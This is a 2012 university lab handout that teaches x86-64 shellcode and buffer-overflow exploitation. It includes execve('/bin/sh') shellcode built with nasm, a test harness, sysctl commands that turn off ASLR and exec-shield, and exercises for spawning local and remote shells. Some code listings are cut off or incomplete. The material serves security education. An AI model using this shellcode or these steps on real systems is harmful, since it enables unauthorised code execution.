Thanks to Lockheed Martin for a generous gift in support of this class.

CMSC 498L/ENEE 459L, Fall 2012

Cybersecurity Lab

Shellcode/buffer overflow lab

Oct 9, 2012


The purpose of this lab is to give you some practice exploiting a buffer overflow. We will begin with an overview of writing shellcode (done jointly), and then you should work on the remaining parts of this lab, exploiting an overflow. If you finish the exploits early, you can move on to the last, challenge problem.

Part 1: Starting a shell

The first step in developing an exploit is writing the shellcode that you want run on the target machine. It's called shellcode because typically this code will provide a command shell to the attacker. Before we create the actual shellcode, we'll need to figure out what instructions we need to start a shell. So let's write a C program to do just that, and look at its disassembly:

/* shell.c */
#include <unistd.h>

int main(void) {
  execl("/bin/sh", "", NULL);
Now let's use objdump to disassemble the code we just wrote, to see if it will give us what we want:
$ gcc shell.c
$ objdump -D a.out
0000000000400418 <execl@plt>:
  400418:       ff 25 e2 0b 20 00       jmpq   *0x200be2(%rip) # 601000 <_GLOBAL_OFFSET_TABLE_+0x18>
  40041e:       68 00 00 00 00          pushq  $0x0
  400423:       e9 e0 ff ff ff          jmpq   400408 <_init+0x18>
0000000000400524 <main>:
  400524:       55                      push   %rbp
  400525:       48 89 e5                mov    %rsp,%rbp
  400528:       ba 00 00 00 00          mov    $0x0,%edx
  40052d:       be 3c 06 40 00          mov    $0x40063c,%esi
  400532:       bf 3d 06 40 00          mov    $0x40063d,%edi
  400537:       b8 00 00 00 00          mov    $0x0,%eax
  40053c:       e8 d7 fe ff ff          callq  400418 <execl@plt>
  400541:       c9                      leaveq 
  400542:       c3                      retq
Looking at this code, we can see it calls execl@plt, which in turn jumps to something in _GLOBAL_OFFSET_TABLE. This is pretty complicated. If we try to follow this further, we hit a dead end, because that table is used for dynamic linking. So there are two strikes against taking this code and using it in an exploit: First, it assumes that glibc is dynamically linked into the target application; and second, there's a lot of code, which might make the exploit harder to deploy. (For example, maybe there a maximum size buffer we can send over.)

To address these issues, let's switch to static linking, and see if we can track down the actual code to execl, so we can put that directly in the shellcode.

$ gcc -static shell.c
$ objdump -D a.out
000000000040d490 <execl>:
 40d5c1:       e8 0a c7 02 00          callq  439cd0 <__execve>
0000000000439cd0 <__execve>:
  439cd0:       b8 3b 00 00 00          mov    $0x3b,%eax
  439cd5:       0f 05                   syscall 
  439cd7:       48 3d 00 f0 ff ff       cmp    $0xfffffffffffff000,%rax
  439cdd:       77 02                   ja     439ce1 <__execve+0x11>
  439cdf:       f3 c3                   repz retq 
  439ce1:       48 c7 c2 d0 ff ff ff    mov    $0xffffffffffffffd0,%rdx
  439ce8:       f7 d8                   neg    %eax
  439cea:       64 89 02                mov    %eax,%fs:(%rdx)
  439ced:       83 c8 ff                or $   0xffffffffffffffff,%eax
  439cf0:       c3                      retq   
0000000000400434 <main>:
  400434:       55                      push   %rbp
  400435:       48 89 e5                mov    %rsp,%rbp
  400438:       ba 00 00 00 00          mov    $0x0,%edx
  40043d:       be c4 9c 47 00          mov    $0x479cc4,%esi
  400442:       bf c5 9c 47 00          mov    $0x479cc5,%edi
  400447:       b8 00 00 00 00          mov    $0x0,%eax
  40044c:       e8 3f d0 00 00          callq  40d490 <execl>
  400451:       c9                      leaveq 
  400452:       c3                      retq   
Aha. Now, we can see the code for execl, and in fact, we can trace through that code and see that it actually calls execve, which is the function that actually performs the syscall instruction to trap into the kernel. Let's change shell.c to call into execve directly, so we can easily see how the argument setup goes.
/* shell.c */
#include <unistd.h>

int main(void) {
  execve("/bin/sh", NULL, NULL);

$ gcc -static shell.c
$ objdump -D a.out
0000000000400434 <main>:
  400434:       55                      push   %rbp
  400435:       48 89 e5                mov    %rsp,%rbp
  400438:       ba 00 00 00 00          mov    $0x0,%edx
  40043d:       be 00 00 00 00          mov    $0x0,%esi
  400442:       bf 04 9b 47 00          mov    $0x479b04,%edi
  400447:       e8 34 d0 00 00          callq  40d480 <__execve>
  40044c:       c9                      leaveq 
  40044d:       c3                      retq  
(The code for execve is the same.)

Part 2: Shellcode

The next step is to turn what we know into a string of bytes that, if they are executed, will create a shell. We could potentially use the bytes we got from the disassembly, but it turns on that contain contains some optimizations that mean it doesn't work directly. In particular, that code uses only portions of the 64-bit registers, and it turns out that doesn't work for shellcode, because addresses will get truncated. So we'll re-enter the code as assembly, tweak it, and use an assembler to build the bytes we need. The nasm assembler should already be installed on your VMs. Here is the code. (Note the order of arguments is different than in the objdump output.)

# shell.asm
        global _start

        mov rdx, 0
        mov rsi, 0
        lea rdi, [rel buf]
        mov rax, 0x3b

buf:    db '/bin/sh', 0

Notice we put buf after the code (since we'll jump to the beginning of this program). We've replaced uses of exx registers with rxx registers, and used lea (load effective address) instead of mov. We also use instruction pointer (rip)-relative addressing to access buf, since we don't know exactly where it will be loaded. We can assemble it with

$ nasm -felf64 shell.asm
$ objdump -D shell.o

shell.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <_start>:
    0:48 ba 00 00 00 00 00 mov    $0x0,%rdx
    7:00 00 00 
    a:48 be 00 00 00 00 00 mov    $0x0,%rsi
    11:00 00 00 
    14:48 8d 3d 0c 00 00 00 lea    0xc(%rip),%rdi        # 27 
    1b:48 b8 3b 00 00 00 00 mov    $0x3b,%rax
    22:00 00 00 
    25:0f 05                syscall 

0000000000000027 :
    27:2f                   (bad)  
    28:62                   (bad)  
    29:69                   .byte 0x69
    2a:6e                   outsb  %ds:(%rsi),(%dx)
    2b:2f                   (bad)  
    2c:73 68                jae    96 

Part 3: Testing

Finally, let's write a simple program that we can use to test our shellcode. The following program transfers control to the bytes in buf.
/* run_it.c */
#include <stdio.h>

int main(void) {
    char buf[] =
  void *p = &buf;

  asm("jmp *%0"
To actually run it, of course, we'll need to turn off stack protection. We can do that with the execstack program, which you'll need to install:
$ app-get install execstack
$ gcc run_it.c
$ execstack -s a.out
$ ./a.out

Part 4: Exploit a Buffer Overflow

The next part of the project is to use what you've learned so far to exploit an actual buffer overflow. The program you will be exploiting is a vulnerable ELF executable written in C. Your task is to first craft an exploit that will call a function (that is never meant to be called) to print something. Afterwards, you will write a fully working exploit that will spawn a local shell. For those of you who are more comfortable writing exploits, there is a challenge problem in the next part.

Step 1: Download the Vulnerable program

You can find the vulnerable program here: vuln_program. After you download it, run chmod u+x vuln_program to make it executable.

Step 2: Disable protections on your VM

To make your job easier, you should disable address space layout randomization (ASLR). On Ubuntu-based systems (e.g., Backtrack), run the following command:

sudo sysctl -w kernel.randomize_va_space=0

If you are working on a RedHat-based system (e.g., RHE or Fedora), you will also need to disable Execshield, as follows:

sudo sysctl -w kernel.exec-shield=0
Don't do this step if you're using Backtrack. We've already disabled execshield on the vuln_program by compiling it with -fno-stack-protection and -z execstack.

Step 3: Crash the program and trace it through with gdb

Run the program and provide a long input to cause it to crash. How long an input do you need? Use objdump -D and/or gdb to figure out what's going on. (You will probably need to install gdb with apt-get install gdb.) Can you trace through the calls being made and see where the program is crashing?

This article may be of help: Examining a Buffer Overflow in C and assembly with gdb. You may also find this gdb cheat sheet helpful.

Step 4: Exploit the overflow

Now that you understand what's going on, write an exploit that, instead of causing a crash, causes the program to print out "Woooo! Pwn3d!". There's an existing function target in the executable that prints this. So all you need to do is use the buffer overflow to overwrite return address on the stack to point to target's address.

After you've succeeded at that, the last step is to write a fully working exploit that spawns a local shell.

If you are really stuck

If you get stuck using objdump and gdb to trace through the code, you can find the source of the vulnerable program here: vuln_program.c.

Part 5 (optional): Find a Buffer Overflow and Exploit It

On your VMs, you will find a program called "tinyhttpd-broken" located here:

We have injected a buffer overflow into this code (hence the "-broken" suffix). Your task is to do the following:
  • Locate the buffer overflow
  • With ASLR off and the NoExecute flag not set, write an exploit to get a remote shell.
  • With ASLR on and NoExecute set, redirect program execute to print "You are pwn3d!" using a return-to-libc attack (like return-oriented programming, but cause control to jump to the beginning of the printf function with the right arguments, rather than somewhere in the middle of libc).
  • With ASLR and NoExecute set, write a fully working remote exploit that spawns a remote shell.


Lab written by Jeff Foster and Josh Kamdjou.